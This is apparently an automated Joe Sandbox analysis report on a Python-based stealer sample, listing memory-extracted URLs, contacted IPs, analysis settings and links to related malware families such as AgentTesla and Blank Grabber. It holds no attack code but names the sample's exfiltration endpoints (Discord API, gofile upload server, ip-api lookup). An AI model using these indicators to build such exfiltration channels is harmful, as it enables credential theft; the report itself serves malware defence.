https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1379613683.0000016197193000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1373841693.00000161970D7000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1424909795.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1376271059.00000161970EA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1373841693.000001619712E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1459659839.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1385557647.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1408881507.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1383035256.00000161970EA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1760965599.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1762531034.00000161970DF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1437068870.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1759071926.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1384787134.00000161970ED000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1383035256.00000161970DE000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765429469.00000161970E2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1408881507.00000161970CF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://allegro.pl/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000002D.00000002.1546305256.0000014D0A73A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1766436542.00000161973D6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1379967159.00000161973D6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1460488470.00000161973D6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764538565.0000016196A05000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1336732957.0000016194C7C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1334579050.0000016194C7D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1763991117.0000016194C14000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1332892203.0000016196A01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://MD8.mozilla.org/1/m	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197F78000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0$	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	false	Avira URL Cloud: safe	unknown
https://www.python.org/psf/license/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1774041313.00007FF8E79F8000.00000040.00000001.01000000.00000004.sdmp	false	URL Reputation: safe	unknown
https://www.bbc.co.uk/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugzilla.mo	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tools.ietf.org/html/rfc6125#section-6.4.3	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767449451.0000016197D70000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000009.00000002.1502951944.0000028180229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google.com/mail	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1759071926.00000161970A9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1372221043.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1385557647.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1437068870.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1408881507.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765347451.00000161970AE000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1762649587.00000161970AC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1457822695.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1766262615.000001619731F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1424909795.000001619707F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1379967159.0000016197320000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1459659839.00000161970B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1332892203.0000016196A01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1350868217.0000016197390000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1349900990.0000016197390000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1349950556.0000016196D6C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://foss.heptapod.net/pypy/pypy/-/issues/3539	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767261493.0000016197B30000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1372221043.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1385557647.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1408881507.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765146576.0000016197067000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://google.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765146576.0000016197067000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, rar.exe.0.dr	false	URL Reputation: safe	unknown
https://www.python.org/download/releases/2.3/mro/.	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764313337.00000161965B0000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 0000002D.00000002.1611004763.0000014D1A58A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discordapp.com/api/v9/users/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764753885.0000016196C55000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	false	URL Reputation: safe	unknown
https://github.com/urllib3/urllib3/issues/2920	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767449451.0000016197D70000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1329121115.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false	URL Reputation: safe	unknown
https://yahoo.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1759071926.00000161970A9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1372221043.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1385557647.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1437068870.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1408881507.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765347451.00000161970AE000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1762649587.00000161970AC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1457822695.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1766262615.000001619731F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1424909795.000001619707F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1379967159.0000016197320000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1459659839.00000161970B3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767792449.0000016198484000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1766436542.00000161973D6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1379967159.00000161973D6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1460488470.00000161973D6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1329121115.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1759071926.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1437068870.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1408881507.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1373771178.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1457822695.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1424909795.000001619707F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765287498.0000016197083000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ifeng.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767449451.0000016197D70000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.zhihu.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197F34000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764753885.0000016196C55000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000002D.00000002.1611004763.0000014D1A58A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 0000002D.00000002.1546305256.0000014D0BB13000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iana.org/time-zones/repository/tz-link.html	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1350868217.0000016197390000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1349900990.0000016197390000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1350081558.0000016196FD6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.com	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1373771178.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1372272672.00000161970AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.gofile.io/getServer	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765429469.00000161970E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000009.00000002.1544534122.0000028190078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.1611004763.0000014D1A6CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.1546305256.0000014D0BE79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.1611004763.0000014D1A58A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 0000002D.00000002.1546305256.0000014D0BB13000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozi	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1383035256.00000161970DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, rar.exe.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764753885.0000016196C55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.co.uk/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.thawte.com0	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1329121115.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false	URL Reputation: safe	unknown
https://json.org	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1351974107.0000016196DCF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.wykop.pl/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767449451.0000016197D70000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://twitter.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1759071926.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1437068870.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1408881507.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1373771178.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1457822695.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1424909795.000001619707F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764538565.0000016196A05000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765287498.0000016197083000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.olx.pl/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197F34000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefox	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1379613683.0000016197193000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1376271059.00000161970EA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1373841693.000001619712E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1377195618.00000161970EF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1424909795.000001619707F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764538565.0000016196A05000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1379967159.0000016197320000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765287498.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1459659839.00000161970B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
162.159.135.232	discord.com	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446241
Start date and time:	2024-05-23 01:35:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	95
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@144/56@2/2
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 94% Number of executed functions: 109 Number of non-executed functions: 153
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.23.99
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, gstatic.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7840 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8788 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
VT rate limit hit for: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Simulations

Behavior and APIs

Time	Type	Description
19:36:12	API Interceptor	151x Sleep call for process: powershell.exe modified
19:36:15	API Interceptor	5x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	documentos.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	New Inquiry RFQ.NO2015.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	V4zX3cdlet.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Tender for Quote_MYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	BBVA__Aviso_de_Pago_pdf.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	jpgcamscanner_20240521_0072345_JPEG.bat.exe	Get hash	malicious	GuLoader	Browse	ip-api.com/line/?fields=hosting
	h0pYN6vLWWE9A1c.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	DkJr5Ana0qQ1M3U.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	rTTSWIFT_8374783.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	FMC Order No22052468.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
162.159.135.232	S23UhdW5DH.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	discord.com/admin.php
162.159.135.232	18561381.exe	Get hash	malicious	RedLine	Browse	discord.com/channels/948610961449816084/948610961449816086/948611091527774228

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	http://enter-mantagalaxies.com/	Get hash	malicious	Unknown	Browse	162.159.138.232
	SecuriteInfo.com.Other.Malware-gen.12648.25881.elf	Get hash	malicious	Unknown	Browse	162.159.136.232
	SecuriteInfo.com.Win32.TrojanX-gen.3459.12800.exe	Get hash	malicious	Unknown	Browse	162.159.128.233
	SecuriteInfo.com.Win32.TrojanX-gen.8759.5386.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	SecuriteInfo.com.Win32.TrojanX-gen.3459.12800.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	SecuriteInfo.com.Win32.TrojanX-gen.8759.5386.exe	Get hash	malicious	Unknown	Browse	162.159.135.232
	schtasks.exe	Get hash	malicious	Blank Grabber	Browse	162.159.136.232
	http://cf-ipfs.com/ipfs/Qmb8ZxH6YcdjvixfVo3yE3hHm5CNzVAQFSfFDavjywVtYk/gttrindeed.html	Get hash	malicious	Unknown	Browse	162.159.135.232
	TS-240519-Blank1.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	TS-240519-Blank2.exe	Get hash	malicious	Blank Grabber	Browse	162.159.135.232
ip-api.com	documentos.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	New Inquiry RFQ.NO2015.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	V4zX3cdlet.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Tender for Quote_MYQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	BBVA__Aviso_de_Pago_pdf.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	jpgcamscanner_20240521_0072345_JPEG.bat.exe	Get hash	malicious	GuLoader	Browse	208.95.112.1
	https://link.mail.beehiiv.com/ss/c/u001.CEz1YkosQOgW_2I8tJTUL2rOicXJM7RxHjhrRWDeG5g4TuF3JnRWze3ceZ9WwqET/46i/a2N64yc5RA-IsZ3qpS7tjQ/h6/h001.j_JgYHgZoY9wighPNvNrp_oY-YX91EMEgYGT_rGLcUU	Get hash	malicious	Unknown	Browse	51.77.64.70
	h0pYN6vLWWE9A1c.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
